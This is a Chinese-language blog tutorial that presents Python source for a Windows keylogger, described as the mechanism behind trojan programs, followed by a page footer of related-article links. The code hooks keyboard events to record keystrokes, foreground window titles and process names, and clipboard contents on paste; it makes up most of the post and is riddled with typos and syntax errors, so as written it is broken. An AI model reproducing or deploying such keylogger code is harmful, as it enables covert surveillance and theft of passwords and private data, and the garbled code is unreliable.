Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python判断给定的字符串是否是有效日期的方法
May 13 Python
python定时检查某个进程是否已经关闭的方法
May 20 Python
Python使用xlrd模块操作Excel数据导入的方法
May 26 Python
Python字符串匹配算法KMP实例
Jul 18 Python
django之session与分页(实例讲解)
Nov 13 Python
python贪吃蛇游戏代码
Apr 18 Python
详解如何设置Python环境变量?
May 13 Python
Python DataFrame一列拆成多列以及一行拆成多行
Aug 06 Python
python GUI库图形界面开发之PyQt5信号与槽基本操作
Feb 25 Python
Python类及获取对象属性方法解析
Jun 15 Python
深入解析NumPy中的Broadcasting广播机制
May 30 Python
Pytorch distributed 多卡并行载入模型操作
Jun 05 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
用PHP的ob_start();控制您的浏览器cache!
2006/11/25 PHP
Flash+XML滚动新闻代码 无图片 附源码下载
2007/11/22 Javascript
jQuery 操作XML入门
2008/12/25 Javascript
Js操作Select大全(取值、设置选中等等)
2013/10/29 Javascript
jquery操作checked属性以及disabled属性的多种方法
2014/06/20 Javascript
2种jQuery 实现刮刮卡效果
2015/02/01 Javascript
js中获取 table节点各tr及td的内容简单实例
2016/10/14 Javascript
Angular2环境搭建具体操作步骤(推荐)
2017/08/04 Javascript
Vue实现搜索 和新闻列表功能简单范例
2018/03/16 Javascript
QQ跳转支付宝并自动领红包脚本(最新)
2018/06/22 Javascript
在vue中获取token,并将token写进header的方法
2018/09/26 Javascript
使用angular-cli webpack创建多个包的方法
2018/10/16 Javascript
基于 vue-skeleton-webpack-plugin 的骨架屏实战
2019/08/05 Javascript
解决vue初始化项目时,一直卡在Project description上的问题
2019/10/31 Javascript
vue 实现websocket发送消息并实时接收消息
2019/12/09 Javascript
[02:51]DOTA2 2015国际邀请赛中国区预选赛第一日战报
2015/05/27 DOTA
[01:10:24]DOTA2-DPC中国联赛 正赛 VG vs Aster BO3 第一场 2月28日
2021/03/11 DOTA
跟老齐学Python之有容乃大的list(1)
2014/09/14 Python
举例讲解Python中的Null模式与桥接模式编程
2016/02/02 Python
python基于phantomjs实现导入图片
2016/05/13 Python
用yum安装MySQLdb模块的步骤方法
2016/12/15 Python
对numpy中布尔型数组的处理方法详解
2018/04/17 Python
python 显示数组全部元素的方法
2018/04/19 Python
在PyCharm环境中使用Jupyter Notebook的两种方法总结
2018/05/24 Python
Python3.7实现中控考勤机自动连接
2018/08/28 Python
使用k8s部署Django项目的方法步骤
2019/01/14 Python
python爬虫解决验证码的思路及示例
2019/08/01 Python
Django框架创建项目的方法入门教程
2019/11/04 Python
python__new__内置静态方法使用解析
2020/01/07 Python
DataFrame 数据合并实现(merge,join,concat)
2020/06/14 Python
Python爬虫教程之利用正则表达式匹配网页内容
2020/12/08 Python
澳大利亚游乐场设备品牌:Lifespan Kids
2019/05/24 全球购物
Watch Station官方网站:世界一流的手表和智能手表
2020/01/05 全球购物
诚信承诺书范文
2014/03/27 职场文书
2015建军节87周年演讲稿
2015/03/19 职场文书
Mysql查询时间区间日期列表,不会由于数据表数据影响
2022/04/19 MySQL